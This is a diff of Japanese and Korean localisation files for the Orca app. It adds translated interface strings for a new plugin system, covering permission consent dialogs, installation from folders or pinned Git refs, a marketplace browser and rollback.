+          "d8c988dab4": "~/.orca/keybindings.json",
+          "shortcutUnavailable": "ショートカットは利用できなくなりました。"
         },
         "SourceControlAiActionRecipeDefaults": {
           "2576299196": "引数",
@@ -9238,7 +9246,7 @@
           "copy": "コピー",
           "copied": "コピーされました",
           "recipes": "レシピ",
-          "recipesHelp": "agent が orca.yaml に追加したレシピがここに表示され、ワー​​クスペースを起動できるようになります。",
+          "recipesHelp": "orca.yaml と有効なプラグインのレシピがここに表示され、ワークスペースを起動できます。",
           "refresh": "一時的な VM レシピを更新する",
           "checking": "レシピを確認中...",
           "none": "レシピはまだ見つかりません。"
@@ -9310,6 +9318,285 @@
           "567633ff50": "Right-click pastes the clipboard into the terminal. Control-click to open the context menu.",
           "c64497148a": "Right-click pastes the clipboard. Control-click opens the context menu."
         },
+        "PluginConsentDialog": {
+          "workerTrust": "バックグラウンドワーカー — 独自のプロセスで実行",
+          "panelTrust": "パネルまたはホスト統合コンテンツ — バックグラウンドワーカーなし",
+          "decisionFailed": "権限の選択を保存できませんでした。再試行してください。",
+          "title": "権限を確認",
+          "mixedTitle": "アクセスとコンテンツを確認",
+          "instructionalTitle": "プラグインのコンテンツを確認",
+          "subtitle": "{{value0}} v{{value1}} · {{value2}}",
+          "reconsent": "前回このプラグインを確認してから、権限、ワーカーの信頼レベル、または指示コンテンツが変更されました。実行する前にもう一度確認してください。",
+          "source": "ソース",
+          "unknownSource": "利用不可",
+          "commit": "コミット",
+          "localCommit": "利用不可（ローカルフォルダー）",
+          "trust": "信頼レベル",
+          "capabilities": "このプラグインに許可する操作",
+          "warning": "これらの権限は、プラグインによる Orca API の使用を制限します。ただしワーカーはコンピューター上の通常のプロセスとして実行され、ファイル、ネットワーク、ほかのプロセスに完全にアクセスできます。",
+          "enable": "プラグインを有効化",
+          "keepDisabled": "無効のままにする",
+          "panelWarning": "これらの権限は、プラグインによる Orca API の使用を制限します。このプラグインにはバックグラウンドワーカーがありません。",
+          "instructionalWarning": "このプラグインにはワーカープロセスがありません。ただし、その指示コンテンツは、あなたやエージェントが使用したときに操作を実行させる可能性があります。有効にする前に、以下の指示とコマンドを確認してください。",
+          "capability": {
+            "workspaceRead": "選択中のワークツリーの名前、ブランチ、ターミナル一覧を読み取る",
+            "terminalSend": "表示中の特定のターミナルにテキストを入力する",
+            "notificationsShow": "プラグイン名を付けたデスクトップ通知を表示する",
+            "storage": "プラグイン専用の保存フォルダーにデータを保存する",
+            "secrets": "プラグイン専用の暗号化保管庫にシークレットを保存し、読み取る",
+            "eventsSubscribe": "ワークツリーの作成・削除やエージェント状態の変更時に通知を受け取る",
+            "settingsOwn": "プラグイン自身の設定を読み取り、変更する"
+          },
+          "skillWarning": "このプラグインは指示を含むスキルをインストールします。エージェントはその指示を読み、付与されたすべての権限で操作する場合があります。",
+          "instructionalTrust": "指示コンテンツ — 後でユーザーまたはエージェントの権限で実行",
+          "declarativeTrust": "Declarative content — no plugin code",
+          "reviewTitle": "Review plugin",
+          "declarativeWarning": "This plugin contributes validated content only. It does not run a background worker or receive access to Orca's API.",
+          "trustShortWorker": "Worker",
+          "trustShortInstructional": "Instructional",
+          "trustShortPanel": "Panel",
+          "trustShortDeclarative": "Declarative"
+        },
+        "PluginDevelopmentSection": {
+          "pathRequired": "プラグインフォルダーのパスを入力してください。",
+          "title": "開発",
+          "help": "開発中のプラグインを、このコンピューター上のフォルダーから直接読み込みます。開発用プラグインにも権限の確認が必要です。ワーカーはこのデスクトップホストで実行され、SSH ワークスペースの操作は Orca 経由で処理されるため、ここにはデスクトップ側のパスを指定します。",
+          "remove": "削除",
+          "placeholder": "/Users/you/plugins/my-plugin or C:\\Users\\you\\plugins\\my-plugin",
+          "add": "パスを追加",
+          "saveFailed": "開発用プラグインのパスを保存できませんでした。",
+          "pathLabel": "開発用プラグインのフォルダーパス"
+        },
+        "PluginInstallDialog": {
+          "localRequired": "プラグインフォルダーのパスを入力してください。",
+          "gitUrlRequired": "リポジトリ URL を入力してください。",
+          "gitRefRequired": "インストールを固定するため、明示的な #ref（タグまたはコミット）を追加してください。例: #v0.1.0。",
+          "installFailed": "プラグインをインストールできませんでした。ソースを確認して再試行してください。",
+          "title": "プラグインをインストール",
+          "description": "インストールするとプラグインが Orca にコピーされ、確認する権限が表示されます。有効にするまでプラグインのコードは実行されません。",
+          "source": "インストール元",
+          "localTab": "ローカルフォルダー",
+          "gitTab": "Git URL",
+          "localLabel": "プラグインフォルダーのパス",
+          "localPlaceholder": "/Users/you/plugins/my-plugin or C:\\Users\\you\\plugins\\my-plugin",
+          "localHelp": "このコンピューター上で orca-plugin.json を含むフォルダーへのフルパスです。入力したパスがそのまま使用されます。",
+          "gitLabel": "#ref 付きリポジトリ URL",
+          "gitPlaceholder": "https://git.example/acme/orca-notes#v0.1.0",
+          "gitHelp": "明示的な #ref（タグまたはコミット）を付けてインストールを固定します。GitHub、GitLab、その他の Git ホストに対応しています。",
+          "cancel": "キャンセル",
+          "installing": "インストール中…",
+          "install": "インストール",
+          "gitUrlInvalid": "HTTPS または SSH の Git URL を使用してください。実行可能な Git ヘルパープロトコルは使用できません。"
+        },
+        "PluginRemoveDialog": {
+          "title": "プラグインを削除しますか？",
+          "description": "{{value0}} と、このコンピューターに保存されたプラグインデータを削除します。後で再インストールできます。",
+          "cancel": "キャンセル",
+          "remove": "プラグインを削除"
+        },
+        "PluginSettingsRow": {
+          "needsReview": "確認が必要",
+          "invalid": "無効",
+          "error": "エラー",
+          "disabled": "無効",
+          "running": "実行中",
+          "enabled": "有効",
+          "workerTier": "バックグラウンドワーカー",
+          "panelTier": "パネルのみ",
+          "loadingLogs": "ログを読み込み中…",
+          "noLogs": "記録されたログ行はありません。",
+          "logCount": "保持されている最大 200 行のうち最新 {{value0}} 行",
+          "dev": "開発",
+          "review": "権限を確認",
+          "moreActions": "{{value0}} のその他の操作",
+          "hideLogs": "ログを非表示",
+          "viewLogs": "ログを表示",
+          "remove": "削除",
+          "enableLabel": "{{value0}} を有効化",
+          "restartCount": " · {{value0}} 回再起動",
+          "restarting": "再起動中",
+          "invalidPluginError": "プラグインのマニフェストまたはインストール済みファイルが無効です。修正してから更新してください。",
+          "runtimeError": "有効化またはワーカーのエラー後にプラグインが停止しました。",
+          "disableLabel": "{{value0}}を無効にする",
+          "blocked": "ブロック済み",
+          "official": "公式",
+          "bundled": "同梱",
+          "killListMessage": "Orca の安全リストにより、このプラグインは無効化されました：{{value0}}",
+          "viewAdvisory": "勧告を表示",
+          "rollback": "ロールバック",
+          "noDescription": "No description provided.",
+          "reviewAndEnable": "Review & enable"
+        },
+        "PluginsSettingsSection": {
+          "loadFailed": "プラグインを読み込めませんでした。",
+          "logsFailed": "プラグインのログを読み込めませんでした。",
+          "title": "プラグイン",
+          "experimental": "試験的",
+          "description": "Orca プラグインをインストールして管理します。SSH ワークスペースの場合も、プラグインはこのコンピューターで実行されます。",
+          "install": "プラグインをインストール",
+          "systemLabel": "プラグインシステム",
+          "systemDescription": "インストール済みプラグインを検出し、個別に有効化できます。確認して有効にするまでは何も実行されません。ワーカーは常にこのコンピューターで実行され、SSH ワークスペースの操作は Orca 経由で処理されます。",
+          "featureOff": "インストール済みプラグインを表示・管理するには、プラグインシステムを有効にしてください。すでにインストールされているものはディスクに残り、システムがオフの間は無効のままです。",
+          "loading": "プラグインを読み込み中…",
+          "installed": "インストール済み",
+          "refresh": "更新",
+          "tryAgain": "再試行",
+          "empty": "プラグインはインストールされていません。「プラグインをインストール」から、ローカルフォルダーまたは固定された Git ref を追加してください。",
+          "settingsUpdateFailed": "プラグイン設定を保存できませんでした。",
+          "rollbackFailed": "このプラグインをロールバックできませんでした。以前の不変バージョンが存在しない可能性があります。",
+          "noInstalledResults": "No installed plugins match this search.",
+          "noInstalledResultsTitle": "No matching plugins",
+          "emptyTitle": "No plugins installed yet"
+        },
+        "plugins": {
+          "search": {
+            "title": "プラグイン",
+            "description": "試験的な Orca プラグインをインストールして管理します。",
+            "install": "プラグインをインストール",
+            "permissions": "プラグインの権限",
+            "logs": "プラグインのログ",
+            "development": "開発用プラグイン"
+          }
+        },
+        "pluginError": {
+          "installManifestMissing": "読み取り可能なorca-plugin.jsonが見つかりません。プラグインのルートフォルダーを選択してください。",
+          "installManifestInvalid": "orca-plugin.jsonが無効です。プラグインの作成者にマニフェストの修正を依頼してください。",
+          "incompatible": "このプラグインには別のバージョンのOrcaが必要です。",
+          "installUnsafePath": "プラグインに安全でないファイルパスまたはシンボリックリンクが含まれているため、インストールされませんでした。",
+          "installLimit": "プラグインがOrcaのインストールサイズまたはファイル数の上限を超えています。",
+          "installGit": "固定されたGitリビジョンを取得できませんでした。URL、#ref、アクセス権、システムGitの設定を確認してください。",
+          "invalidManifestMissing": "プラグインのルートにorca-plugin.jsonがありません。追加してからプラグインを更新してください。",
+          "invalidManifest": "orca-plugin.jsonが無効です。修正してからプラグインを更新してください。",
+          "invalidArtifact": "宣言されたワーカーまたはパネルのファイルがないか、安全ではありません。ファイルを修正してから更新してください。",
+          "consentChanged": "確認中にプラグインが変更されました。このダイアログを閉じて、更新された権限を確認してください。"
+        },
+        "PluginVmRecipeConsentPreview": {
+          "create": "作成",
+          "suspend": "一時停止",
+          "resume": "再開",
+          "destroy": "破棄",
+          "warning": "このプラグインは VM レシピをインストールします。対応するライフサイクル操作を使用すると、Orca は以下のコマンドをローカルのデスクトップホストで実行します。",
+          "commandLabel": "{{value0}} · {{value1}}コマンド",
+          "heading": "VM レシピのコマンド"
+        },
+        "PluginKeybindingConsentPreview": {
+          "warning": "このプラグインはキーボードショートカットを追加します。有効な間は、一致する Orca のショートカットよりプラグインのショートカットが優先されます。",
+          "heading": "キーボードショートカット",
+          "worktree": "ワークスペースがアクティブな場合のみ実行されます。",
+          "global": "アクティブなワークスペースがなくてもアプリで実行されます。",
+          "shadows": "置き換える操作: {{value0}}"
+        },
+        "PluginMarketplaceBrowser": {
+          "loadFailed": "マーケットプレイスのプラグインを読み込めませんでした。",
+          "refreshFailed": "マーケットプレイスを更新できませんでした。キャッシュ済みの一覧は引き続き利用できます。",
+          "previewFailed": "このプラグインをレビュー用に準備できませんでした。マーケットプレイスを更新して、もう一度お試しください。",
+          "installFailed": "このプラグインをインストールできませんでした。レビューしたソースが変更された可能性があります。",
+          "heading": "マーケットプレイス",
+          "manageSources": "ソースを管理",
+          "refreshing": "更新中…",
+          "refresh": "更新",
+          "loading": "マーケットプレイスのプラグインを読み込み中…",
+          "searchLabel": "マーケットプレイスのプラグインを検索",
+          "searchPlaceholder": "プラグイン、カテゴリ、発行元を検索",
+          "tryAgain": "再試行",
+          "noSources": "公式、コミュニティ、またはプライベートの Git マーケットプレイスを追加してプラグインを参照できます。",
+          "addSource": "マーケットプレイスを追加",
+          "noResults": "この検索に一致するマーケットプレイスのプラグインはありません。",
+          "empty": "設定済みのマーケットプレイスにプラグインは登録されていません。",
+          "noInstalled": "No plugins installed.",
+          "noInstalledTitle": "No plugins installed",
+          "noSourcesTitle": "No marketplaces configured",
+          "noResultsTitle": "No matching plugins",
+          "clearSearch": "Clear search",
+          "emptyTitle": "Nothing listed yet"
+        },
+        "PluginMarketplaceListingRow": {
+          "official": "公式",
+          "bundled": "同梱",
+          "installed": "インストール済み",
+          "marketplace": "{{value0}} · {{value1}}",
+          "blocked": "Orca の安全リストによりブロックされています：{{value0}}",
+          "blockedAction": "ブロック済み",
+          "checkUpdate": "更新を確認",
+          "installedAction": "インストール済み",
+          "review": "レビュー",
+          "noDescription": "No description provided.",
+          "install": "Install"
+        },
+        "PluginMarketplacePreviewDialog": {
+          "languagePacks": "{{value0}} 件の言語パック",
+          "commands": "{{value0}} 件のコマンド",
+          "keybindings": "{{value0}} 件のキーボードショートカット",
+          "vmRecipes": "{{value0}} 件の VM レシピ",
+          "panels": "{{value0}} 件のパネル",
+          "events": "{{value0}} 件のイベント購読",
+          "worker": "バックグラウンドワーカー",
+          "official": "公式",
+          "bundled": "同梱",
+          "subtitle": "{{value0}} v{{value1}} · {{value2}}",
+          "source": "プラグインのソース",
+          "commit": "固定コミット",
+          "marketplaceCommit": "インデックスのコミット",
+          "includes": "内容",
+          "noContributions": "マニフェストのメタデータのみ",
+          "capabilities": "要求するアクセス権",
+          "workerWarning": "権限は、このプラグインによる Orca API の使用方法を制限します。ただしワーカーはこのコンピューター上で通常のプロセスとして実行され、ファイル、ネットワーク、ほかのプロセスに完全にアクセスできます。",
+          "blocked": "Orca の安全リストにより、このプラグインはブロックされています：{{value0}}",
+          "current": "このプラグインと完全に同じ内容がすでにインストールされています。",
+          "cancel": "キャンセル",
+          "update": "プラグインを更新",
+          "install": "プラグインをインストール",
+          "provenance": "Reviewed source",
+          "close": "Close",
+          "upToDate": "Up to date",
+          "languagePacksOne": "1 language pack",
+          "commandsOne": "1 command",
+          "keybindingsOne": "1 keyboard shortcut",
+          "vmRecipesOne": "1 VM recipe",
+          "panelsOne": "1 panel",
+          "eventsOne": "1 event subscription",
+          "versionLine": "v{{value0}} · {{value1}}"
+        },
+        "PluginMarketplaceSourceDialog": {
+          "addFailed": "このマーケットプレイスを追加できませんでした。Git URL、ref、Git 認証情報を確認してください。",
+          "refreshFailed": "このマーケットプレイスを更新できませんでした。最後に有効だったキャッシュ済みインデックスは引き続き利用できます。",
+          "removeFailed": "このマーケットプレイスを削除できませんでした。",
+          "title": "マーケットプレイスのソース",
+          "description": "マーケットプレイスは固定された Git リポジトリです。プライベートリポジトリには、システム Git の既存の認証情報を Orca が使用します。",
+          "urlLabel": "Git URL",
+          "urlDescription": "orca-marketplace.json を含むリポジトリの HTTPS または SSH URL を使用してください。",
+          "refLabel": "Git ref",
+          "refDescription": "ブランチ、タグ、またはコミットを選択します。取得した各インデックスは正確なコミットで記録されます。",
+          "adding": "追加中…",
+          "add": "ソースを追加",
+          "configured": "設定済みのソース",
+          "empty": "マーケットプレイスのソースは設定されていません。",
+          "owner": "所有者：{{value0}}",
+          "pinnedCommit": "{{value0}} に固定",
+          "stale": "更新に失敗しました。最後に有効だったキャッシュ済みインデックスを表示しています。",
+          "refreshLabel": "{{value0}} を更新",
+          "removeLabel": "{{value0}} を削除",
+          "done": "完了",
+          "urlPlaceholder": "https://git.example.com/team/plugins.git",
+          "official": "公式"
+        },
+        "PluginRollbackDialog": {
+          "title": "プラグインをロールバックしますか？",
+          "description": "{{value0}} を無効化し、以前の不変バージョンを復元します。そのバージョンが異なるアクセス権または指示コンテンツを要求する場合、Orca は再レビューを求めます。",
+          "cancel": "キャンセル",
+          "confirm": "プラグインをロールバック"
+        },
+        "PluginConsentProvenance": {
+          "official": "Official",
+          "bundled": "Bundled with Orca",
+          "local": "Local folder",
+          "community": "Community",
+          "source": "Source",
+          "sourceLabel": "Source",
+          "commit": "Pinned commit",
+          "localCommit": "Local folder — no commit",
+          "indexCommit": "Index commit"
+        },
         "MobileRelayStatusSection": {
           "registered": "Registered",
           "connecting": "Connecting",
@@ -10692,6 +10979,15 @@
             "notAuthorized": "Couldn't open log — path not authorized.",
             "alreadyEditable": "Log is already open for editing."
           },
+          "PluginPanel": {
+            "loading": "プラグインパネルを読み込み中...",
+            "unavailable": "このプラグインパネルは利用できなくなりました。",
+            "loadFailed": "プラグインパネルを読み込めませんでした。",
+            "unresponsive": "プラグインパネルが応答しなくなったため停止しました。"
+          },
+          "activityBar": {
+            "error": "エラー"
+          },
           "github": {
             "refresh": {
               "error": {
@@ -12674,6 +12970,10 @@
                 "project": "プロジェクト"
               }
             }
+          },
+          "pluginQuickActions": {
+            "description": "{{value0}} プラグインのコマンド",
+            "keyword": "プラグインのコマンド"
           }
         }
       },
@@ -13297,6 +13597,11 @@
             "noPr": "PR なし",
             "unavailable": "利用不可"
           }
+        },
+        "pluginPanelBridgeHost": {
+          "actionsUnavailable": "このクライアントではプラグイン操作を利用できません。",
+          "messageTooLarge": "メッセージがサイズ制限を超えています。",
+          "tooManyRequests": "リクエストが多すぎます。"
         }
       },
       "link": {
@@ -13574,6 +13879,17 @@
         "searchAssignee": "担当者をフィルター…",
         "back": "戻る"
       },
+      "pluginCatalog": {
+        "PluginCatalogLayout": {
+          "title": "Plugins",
+          "description": "Browse available plugins or manage the ones installed in Orca.",
+          "filter": "Plugin filter",
+          "all": "All",
+          "installed": "Installed",
+          "searchLabel": "Search plugins",
+          "searchPlaceholder": "Search plugins, categories, or publishers"
+        }
+      },
       "browser-pane": {
         "markup": {
           "cancel": "キャンセル",
diff --git a/src/renderer/src/i18n/locales/ko.json b/src/renderer/src/i18n/locales/ko.json
index ba9b3574f..8522609d0 100644
--- a/src/renderer/src/i18n/locales/ko.json
+++ b/src/renderer/src/i18n/locales/ko.json
@@ -132,7 +132,8 @@
       "fe21e8f6f5": "돌아가기({{value0}})",
       "064bd07810": "돌아가기",
       "ce37cf5279": "사이드바 표시/숨기기({{value0}})",
-      "e4b9e7dff7": "사이드바 표시/숨기기"
+      "e4b9e7dff7": "사이드바 표시/숨기기",
+      "pluginCommandFailed": "플러그인 명령을 실행할 수 없습니다."
     },
     "web": {
       "WebConnect": {
@@ -592,6 +593,9 @@
           }
         }
       },
+      "pluginCommandKeybindings": {
+        "group": "Plugins"
+      },
       "linear": {
         "usage": {
           "examples": {
@@ -734,6 +738,8 @@
         "devSearchKeywordSonner": "sonner",
         "devSearchKeywordError": "error",
         "devSearchKeywordNotification": "notification",
+        "pluginsTitle": "플러그인",
+        "pluginsDescription": "실험적인 Orca 플러그인을 설치하고 관리합니다.",
         "projectHostsSummary": "호스트 {{value0}}개",
         "linearTitle": "Linear",
         "linearDescription": "Give agents the skill to read and update your linked Linear tickets."
@@ -1913,7 +1919,8 @@
         "workspaceTabMissing": "탭이 더 이상 존재하지 않습니다",
         "projectsGroupsHeader": "프로젝트 및 그룹",
         "projectBadge": "프로젝트",
-        "repoGroupBadge": "리포지토리 그룹"
+        "repoGroupBadge": "리포지토리 그룹",
+        "pluginCommandFailed": "플러그인 명령을 실행할 수 없습니다."
       },
       "github": {
         "pr": {
@@ -6688,7 +6695,8 @@
           "25b0004fbf": "Terminal 활성",
           "781cb74d22": "terminal 패널에서 실행됩니다.",
           "cb02e00202": "터미널",
-          "d8c988dab4": "~/.orca/keybindings.json"
+          "d8c988dab4": "~/.orca/keybindings.json",
+          "shortcutUnavailable": "단축키를 더 이상 사용할 수 없습니다."
         },
         "SourceControlAiActionRecipeDefaults": {
           "2576299196": "인수",
@@ -9238,7 +9246,7 @@
           "copy": "복사",
           "copied": "복사됨",
           "recipes": "조리법",
-          "recipesHelp": "agent가 orca.yaml에 추가하는 레시피가 여기에 표시되어 워크스페이스를 시작할 준비가 됩니다.",
+          "recipesHelp": "orca.yaml과 활성화된 플러그인의 레시피가 여기에 표시되어 워크스페이스를 시작할 수 있습니다.",
           "refresh": "임시 VM 레시피 새로 고침",
           "checking": "레시피 확인 중...",
           "none": "아직 레시피를 찾을 수 없습니다."
@@ -9310,6 +9318,285 @@
           "567633ff50": "우클릭하면 클립보드 내용을 터미널에 붙여넣습니다. 컨텍스트 메뉴를 열려면 Control 클릭하세요.",
           "c64497148a": "우클릭하면 클립보드를 붙여넣습니다. Control 클릭으로 컨텍스트 메뉴를 엽니다."
         },
+        "PluginConsentDialog": {
+          "workerTrust": "백그라운드 워커 — 별도 프로세스에서 실행",
+          "panelTrust": "패널 또는 호스트 통합 콘텐츠 — 백그라운드 워커 없음",
+          "decisionFailed": "권한 결정을 저장할 수 없습니다. 다시 시도하세요.",
+          "title": "권한 검토",
+          "mixedTitle": "액세스 및 콘텐츠 검토",
+          "instructionalTitle": "플러그인 콘텐츠 검토",
+          "subtitle": "{{value0}} v{{value1}} · {{value2}}",
+          "reconsent": "이 플러그인을 마지막으로 검토한 후 권한, 워커 신뢰 수준 또는 지침 콘텐츠가 변경되었습니다. 실행하기 전에 다시 검토하세요.",
+          "source": "소스",
+          "unknownSource": "사용할 수 없음",
+          "commit": "커밋",
+          "localCommit": "사용할 수 없음(로컬 폴더)",
+          "trust": "신뢰 수준",
+          "capabilities": "이 플러그인이 할 수 있는 작업",
+          "warning": "이 권한은 플러그인이 Orca API를 사용하는 방식을 제한합니다. 워커는 컴퓨터에서 일반 프로세스로 실행되므로 파일, 네트워크 및 다른 프로세스에 모두 접근할 수 있습니다.",
+          "enable": "플러그인 활성화",
+          "keepDisabled": "비활성화 유지",
+          "panelWarning": "이 권한은 플러그인이 Orca API를 사용하는 방식을 제한합니다. 이 플러그인에는 백그라운드 워커가 없습니다.",
+          "instructionalWarning": "이 플러그인에는 워커 프로세스가 없습니다. 하지만 사용자나 에이전트가 사용할 때 지침 콘텐츠로 인해 작업이 실행될 수 있습니다. 활성화하기 전에 아래 지침과 명령을 검토하세요.",
+          "capability": {
+            "workspaceRead": "선택한 워크트리의 이름, 브랜치 및 터미널 목록 읽기",
+            "terminalSend": "표시된 특정 터미널에 텍스트 입력",
+            "notificationsShow": "플러그인 이름이 표시된 데스크톱 알림 보기",
+            "storage": "플러그인 전용 저장소 폴더에 데이터 저장",
+            "secrets": "플러그인 전용 암호화 보관소에서 비밀 정보 저장 및 읽기",
+            "eventsSubscribe": "워크트리가 생성 또는 제거되거나 에이전트 상태가 변경될 때 알림 받기",
+            "settingsOwn": "플러그인 자체 설정 읽기 및 변경"
+          },
+          "skillWarning": "이 플러그인은 지침이 포함된 스킬을 설치합니다. 에이전트는 해당 지침을 읽고 사용자가 부여한 모든 권한으로 작업할 수 있습니다.",
+          "instructionalTrust": "지침 콘텐츠 — 나중에 사용자 또는 에이전트 권한으로 실행",
+          "declarativeTrust": "Declarative content — no plugin code",
+          "reviewTitle": "Review plugin",
+          "declarativeWarning": "This plugin contributes validated content only. It does not run a background worker or receive access to Orca's API.",
+          "trustShortWorker": "Worker",
+          "trustShortInstructional": "Instructional",
+          "trustShortPanel": "Panel",
+          "trustShortDeclarative": "Declarative"
+        },
+        "PluginDevelopmentSection": {
+          "pathRequired": "플러그인 폴더 경로를 입력하세요.",
+          "title": "개발",
+          "help": "개발하는 동안 이 컴퓨터의 폴더에서 플러그인을 직접 불러옵니다. 개발용 플러그인도 권한 검토가 필요합니다. 워커는 이 데스크톱 호스트에서 실행되고 SSH 워크스페이스 작업은 Orca를 통해 라우팅되므로 여기에 데스크톱 경로를 입력하세요.",
+          "remove": "제거",
+          "placeholder": "/Users/you/plugins/my-plugin or C:\\Users\\you\\plugins\\my-plugin",
+          "add": "경로 추가",
+          "saveFailed": "개발용 플러그인 경로를 저장할 수 없습니다.",
+          "pathLabel": "개발 플러그인 폴더 경로"
+        },
+        "PluginInstallDialog": {
+          "localRequired": "플러그인 폴더 경로를 입력하세요.",
+          "gitUrlRequired": "저장소 URL을 입력하세요.",
+          "gitRefRequired": "설치를 고정하려면 명시적인 #ref(태그 또는 커밋)를 추가하세요. 예: #v0.1.0.",
+          "installFailed": "플러그인을 설치하지 못했습니다. 소스를 확인하고 다시 시도하세요.",
+          "title": "플러그인 설치",
+          "description": "설치하면 플러그인이 Orca에 복사되고 검토할 권한이 표시됩니다. 활성화하기 전에는 플러그인 코드가 실행되지 않습니다.",
+          "source": "설치 소스",
+          "localTab": "로컬 폴더",
+          "gitTab": "Git URL",
+          "localLabel": "플러그인 폴더 경로",
+          "localPlaceholder": "/Users/you/plugins/my-plugin or C:\\Users\\you\\plugins\\my-plugin",
+          "localHelp": "이 컴퓨터에서 orca-plugin.json이 들어 있는 폴더의 전체 경로입니다. 입력한 경로를 그대로 사용합니다.",
+          "gitLabel": "#ref가 포함된 저장소 URL",
+          "gitPlaceholder": "https://git.example/acme/orca-notes#v0.1.0",
+          "gitHelp": "명시적인 #ref(태그 또는 커밋)를 추가해 설치를 고정하세요. GitHub, GitLab 및 모든 Git 호스트에서 사용할 수 있습니다.",
+          "cancel": "취소",
+          "installing": "설치 중…",
+          "install": "설치",
+          "gitUrlInvalid": "HTTPS 또는 SSH Git URL을 사용하세요. 실행 가능한 Git 도우미 프로토콜은 허용되지 않습니다."
+        },
+        "PluginRemoveDialog": {
+          "title": "플러그인을 제거하시겠습니까?",
+          "description": "{{value0}} 및 이 컴퓨터에 저장된 플러그인 데이터를 제거합니다. 나중에 다시 설치할 수 있습니다.",
+          "cancel": "취소",
+          "remove": "플러그인 제거"
+        },
+        "PluginSettingsRow": {
+          "needsReview": "검토 필요",
+          "invalid": "유효하지 않음",
+          "error": "오류",
+          "disabled": "비활성화됨",
+          "running": "실행 중",
+          "enabled": "활성화됨",
+          "workerTier": "백그라운드 워커",
+          "panelTier": "패널 전용",
+          "loadingLogs": "로그 불러오는 중…",
+          "noLogs": "기록된 로그 줄이 없습니다.",
+          "logCount": "보관된 최대 200줄 중 최근 {{value0}}줄",
+          "dev": "개발",
+          "review": "권한 검토",
+          "moreActions": "{{value0}}의 추가 작업",
+          "hideLogs": "로그 숨기기",
+          "viewLogs": "로그 보기",
+          "remove": "제거",
+          "enableLabel": "{{value0}} 활성화",
+          "restartCount": " · {{value0}}회 다시 시작",
+          "restarting": "다시 시작 중",
+          "invalidPluginError": "플러그인 매니페스트 또는 설치된 파일이 올바르지 않습니다. 수정한 후 새로 고치세요.",
+          "runtimeError": "활성화 또는 워커 오류 후 플러그인이 중지되었습니다.",
+          "disableLabel": "{{value0}} 비활성화",
+          "blocked": "차단됨",
+          "official": "공식",
+          "bundled": "번들",
+          "killListMessage": "Orca 안전 목록에서 이 플러그인을 비활성화했습니다: {{value0}}",
+          "viewAdvisory": "권고 보기",
+          "rollback": "롤백",
+          "noDescription": "No description provided.",
+          "reviewAndEnable": "Review & enable"
+        },
+        "PluginsSettingsSection": {
+          "loadFailed": "플러그인을 불러올 수 없습니다.",
+          "logsFailed": "플러그인 로그를 불러올 수 없습니다.",
+          "title": "플러그인",
+          "experimental": "실험적",
+          "description": "Orca 플러그인을 설치하고 관리합니다. SSH 워크스페이스에서도 플러그인은 이 컴퓨터에서 실행됩니다.",
+          "install": "플러그인 설치",
+          "systemLabel": "플러그인 시스템",
+          "systemDescription": "설치된 플러그인을 찾아 개별적으로 활성화할 수 있습니다. 검토하고 활성화하기 전에는 아무것도 실행되지 않습니다. 워커는 항상 이 컴퓨터에서 실행되고 SSH 워크스페이스 작업은 Orca를 통해 라우팅됩니다.",
+          "featureOff": "플러그인 시스템을 켜서 설치된 플러그인을 보고 관리하세요. 이미 설치된 항목은 디스크에 남으며 시스템이 꺼져 있는 동안 비활성화 상태를 유지합니다.",
+          "loading": "플러그인 불러오는 중…",
+          "installed": "설치됨",
+          "refresh": "새로 고침",
+          "tryAgain": "다시 시도",
+          "empty": "설치된 플러그인이 없습니다. 플러그인 설치를 사용해 로컬 폴더 또는 고정된 Git ref에서 추가하세요.",
+          "settingsUpdateFailed": "플러그인 설정을 저장할 수 없습니다.",
+          "rollbackFailed": "이 플러그인을 롤백하지 못했습니다. 이전 불변 버전을 사용할 수 없을 수 있습니다.",
+          "noInstalledResults": "No installed plugins match this search.",
+          "noInstalledResultsTitle": "No matching plugins",
+          "emptyTitle": "No plugins installed yet"
+        },
+        "plugins": {
+          "search": {
+            "title": "플러그인",
+            "description": "실험적인 Orca 플러그인을 설치하고 관리합니다.",
+            "install": "플러그인 설치",
+            "permissions": "플러그인 권한",
+            "logs": "플러그인 로그",
+            "development": "개발용 플러그인"
+          }
+        },
+        "pluginError": {
+          "installManifestMissing": "읽을 수 있는 orca-plugin.json을 찾지 못했습니다. 플러그인의 루트 폴더를 선택하세요.",
+          "installManifestInvalid": "orca-plugin.json이 올바르지 않습니다. 플러그인 작성자에게 매니페스트 수정을 요청하세요.",
+          "incompatible": "이 플러그인에는 다른 버전의 Orca가 필요합니다.",
+          "installUnsafePath": "플러그인에 안전하지 않은 파일 경로 또는 심볼릭 링크가 있어 설치하지 않았습니다.",
+          "installLimit": "플러그인이 Orca의 설치 크기 또는 파일 수 제한을 초과합니다.",
+          "installGit": "고정된 Git 리비전을 가져오지 못했습니다. URL, #ref, 접근 권한 및 시스템 Git 설정을 확인하세요.",
+          "invalidManifestMissing": "플러그인 루트에 orca-plugin.json이 없습니다. 추가한 후 플러그인을 새로 고치세요.",
+          "invalidManifest": "orca-plugin.json이 올바르지 않습니다. 수정한 후 플러그인을 새로 고치세요.",
+          "invalidArtifact": "선언된 워커 또는 패널 파일이 없거나 안전하지 않습니다. 파일을 수정한 후 새로 고치세요.",
+          "consentChanged": "검토하는 동안 플러그인이 변경되었습니다. 이 대화상자를 닫고 업데이트된 권한을 검토하세요."
+        },
+        "PluginVmRecipeConsentPreview": {
+          "create": "생성",
+          "suspend": "일시 중지",
+          "resume": "재개",
+          "destroy": "삭제",
+          "warning": "이 플러그인은 VM 레시피를 설치합니다. 해당 수명 주기 작업을 사용하면 Orca가 아래 명령을 로컬 데스크톱 호스트에서 실행합니다.",
+          "commandLabel": "{{value0}} · {{value1}} 명령",
+          "heading": "VM 레시피 명령"
+        },
+        "PluginKeybindingConsentPreview": {
+          "warning": "이 플러그인은 키보드 단축키를 추가합니다. 플러그인이 활성화된 동안 일치하는 Orca 단축키보다 플러그인 단축키가 우선합니다.",
+          "heading": "키보드 단축키",
+          "worktree": "워크스페이스가 활성화된 동안에만 실행됩니다.",
+          "global": "활성 워크스페이스 없이 앱에서 실행됩니다.",
+          "shadows": "대체 항목: {{value0}}"
+        },
+        "PluginMarketplaceBrowser": {
+          "loadFailed": "마켓플레이스 플러그인을 불러오지 못했습니다.",
+          "refreshFailed": "마켓플레이스를 새로 고치지 못했습니다. 캐시된 목록은 계속 사용할 수 있습니다.",
+          "previewFailed": "검토할 플러그인을 준비하지 못했습니다. 마켓플레이스를 새로 고친 후 다시 시도하세요.",
+          "installFailed": "이 플러그인을 설치하지 못했습니다. 검토한 소스가 변경되었을 수 있습니다.",
+          "heading": "마켓플레이스",
